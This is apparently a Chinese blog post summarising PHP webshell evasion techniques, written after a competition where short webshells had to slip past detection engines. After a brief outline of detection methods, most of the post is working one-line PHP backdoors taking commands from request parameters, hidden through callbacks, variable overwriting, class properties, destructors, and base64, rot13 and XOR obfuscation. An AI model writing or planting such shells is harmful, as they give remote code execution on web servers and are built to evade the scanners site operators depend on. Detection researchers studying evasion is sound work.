PHP Webshell 免杀的一些思考与总结

最近围观了一次Webshell攻防的比赛,内容大致就是通过构造php webshell,绕过检测。代码越短,分数越高。在比赛之后看了一些资料与大佬们比赛的绕过文章,学习到了很多。本想像xss那样把基本的姿势都整理好,但是这个php构造的方式实在太多,只能整理一小部分。没有接触到的内容就留到后面再慢慢学习吧… 这里只针对一句话木马进行的免杀总结,所以大马部分就先舍弃。

参考的文章都已在文章末尾列出,这篇短文仅将思路与一些知识点总结一下。(其实更像是一个备忘录)

免杀思路

在七夜安全博客的公众号文章中,已经很好的把思路梳理了

Untitled.png

但这里只是简略的给了一个引导,提出了一个比较好的思路。具体要怎么实现,还是需要我们自己去整理资料。

简要思路

  • 测试引擎的覆盖率、误报率、容忍度
    1. 覆盖率:不同种类的webshell查杀情况
    2. 误报率:有恶意函数,但无恶意功能的webshell查杀情况
    3. 容忍度:用正常样本,不断添加敏感函数和参数,测试查杀情况
  • 验证测试引擎检测webshell的方式

    1. 基于正则文本特征检测

      使用不同的关键字进行测试,可以很好的通过混淆绕

    2. 基于统计特征的文本检测

      同样可以通过混淆绕过

    3. 基于AST的语法特征检测

      基于PHP动态函数

    4. 动/静态符号执行

      判断方法是外部变量进入特殊的函数,但是特殊的函数无法包含全部的危险函数,可以通过寻找特殊的函数、方式进行绕过

    5. 机器学习/深度学习

      这类检测是会越来越难绕过,但是误报和范围是会一直存在。通过寻找到它的范围,就可以进行绕过。需要测试各种混淆与骚操作,搭配不同的方式进行绕过

    6. 沙箱

  • 寻找解决方案
    1. 寻找免杀引擎覆盖范围以外可利用的函数
    2. 不同的混淆方式
    3. 特殊的技巧

再对解决方案进行一个简要的汇总。

Webshell测试用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 不同种类的函数测试
<?php eval($a); ?>
<?php system($a); ?>
<?php $b($a); ?>
<?php call_user_func($b, $a); ?>

// 同一函数的不同形式
<?php eval($_GET[1]); ?>
<?php eval($_GET); ?>
<?php eval($a); ?>

// 动态执行的判断
<?php
if (1) {
return 1;
} else {
eval($_GET[1]);
}
?>

// 动态执行 + 敏感函数判断
<?php
$a = func($_GET[1]);
eval($a);
?>

<?php
$a = fun1($_GET[1]);
func2($a);
?>

寻找免杀引擎覆盖范围以外可利用的函数

  • 通过PHP手册寻找可利用的函数

https://www.php.net/manual/zh/

  • get_defined_functions获取所有已定义的函数(包括用户自定义的函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$array = get_defined_functions();
foreach ($array["internal"] as $function_name)
{
$function = new ReflectionFunction($function_name);
$function_params = $function->getParameters();
echo "\nName: ".$function_name."\n";
echo "Params:\n";
for($i = 0; $i < sizeof($function_params); $i++)
{
echo " ".$function_params[$i]->name."\n";
}
}
?>
  • google

site:php.net inurl:function current symbol table

不同的混淆方式

  • 不同的入口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

$_GET
$_POST
$_COOKIE
$_FILES
$_SERVER

// 从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)

// 从磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在磁盘文件中,利用IO函数来读取)

// 从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)

// 从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)

// 传入进去的参数,版本限制
<?php import_request_variables("g");$a($b); ?>

// HTTP Header
**<**?php eval(get_headers("/"){9}); ?>

// 全局变量
<?php
$a = $GLOBALS['_GET'][0];
system($a);
?>

// 自己保留了一些
  • 变量污染(变量覆盖)
1
2
3
4
5
// extract
<?php $GLOBALS['a'] = $_GET;extract($a);$a($b); ?>

// parse_str
<?php parse_str($_GET[0]);$a($b); ?>
  • 数据阻断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// 写入父类属性,从子类读取
<?php
class A { static $a; }
class B extends A {}
A::$a = $_GET[0];
system(B::$a);
?>

// session
<?php
session_start();$_SESSION['cmd'] = trim($_POST['code']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
?>

// __destruct折构函数
<?php
class User
{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_POST['name'];
?>

// 变量引用
<?php
$a = $_POST[1];
$b = &$a;
$c = &$b;
eval($c);
?>

//可变变量
<?php
$do = "test";
$$do = $_POST[1];
eval($$do);
?>

// 一维数组
<?php
$a = substr_replace("assexx", "rt", 4);
$b = array("" => $a($_POST[1]));
var_dump($b);
?>

// 二维数组
<?php
$a = substr_replace("assexx", "rt", 4);
$b = array($array=array("" => $a($_POST[1])));
var_dump($b);
?>

// 数组交集
<?php
$a1 = array("a" => "red", "ss" => "green", "c" => "blue", "er" => "hello", "t" => "hey");
$a2 = array("a" => "red", "d" => "pink", "ss" => "green", "er" => "hello", "t" => "hey", "t" => "hey");
$result = array_intersect_key($a1, $a2);
$a = array_keys($result);
$man = $a[0].$a[1].$a[2]."t";
$kk = $_POST[1];
@$man(`/**/`.$kk=$kk);
print_r($a1);
?>

// 各类回调函数
----------------------------------------------------
<?php
function test($a, $b){
array_map($a, $b);
}
@test(assert, array($_POST[1]));
?>

<?php
function a(){
return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>

<?php
function a(){
return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);
?>

<?php $a = create_function('', @$_REQUEST['req']);$a();?>
<?php $ah = $_POST['ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
<?php $fun = $_REQUEST['fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
<?php $arr = new ArrayObject(array('xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>

<?php
$fun = base64_decode($_REQUEST['fun']);
$arr = array(base64_decode($_POST['code']));
$arr2 = array(1);
array_udiff($arr,$arr2,$fun);
?>

<?php mb_ereg_replace('.*', $_REQUEST['req'], '', 'e');?>
<?php $fun = $_REQUEST['fun'];register_shutdown_function($fun,$_REQUEST['req']);?>
<?php echo preg_filter('|.*|e',$_REQUEST['req'],'')?>
----------------------------------------------------
  • 代码执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- 普通的函数执行
system()
exec()
shell_exec()
passthru()
proc_open()
反引号

- LFI: include、require...(利用浏览器的伪协议将文件包含转化为代码执行)
<?php
$filename=$_GET['code']; include ($filename);
?>

- 动态函数执行($()...PHP的动态函数特性)
<?php $_GET['a']($_GET['b']);?>

- Curly Syntax(${${...}}...这种思路可以把变量赋值的漏洞转化为代码执行的机会)
  • 拼接/加密/编码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 添加注释符
<?php
$a = $_POST[1];
eval(`/*Hallo*/`.$a);
?>

// 重复定义变量
<?php
$kk = $_POST[1];
@eval(`/**/`.$kk=$kk);
?>

// 通过定义前面存在的变量进行混淆
<?php
function a(){
return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>

// 使用null或""拼接
<?php
$name = $_GET['name'];
$name1=$name2= null;
eval($name1.$name2.$name);
?>
<?php
$name = $_GET['name'];
$name1=$name2= '';
eval($name1.$name2.$name);
?>

// 编码形式
// base64
<?php
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>
<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>

// rot13
<?php $a=str_rot13('nffreg');$a($_POST['req']);?>

// 异或
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

特殊的技巧

  • 缩短技巧
1
2
3
4
5
6
7
8
// 使用短标签,short_open_tag = On 
<? phpinfo();?>
<?= phpinfo();?>
<?=`$_GET[m]`;

// 尽量将变量名减短
$a($b)
$_GET[1]

参考

相关检测引擎:

网鼎杯2020 部分Writeup CSP & Bypass
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×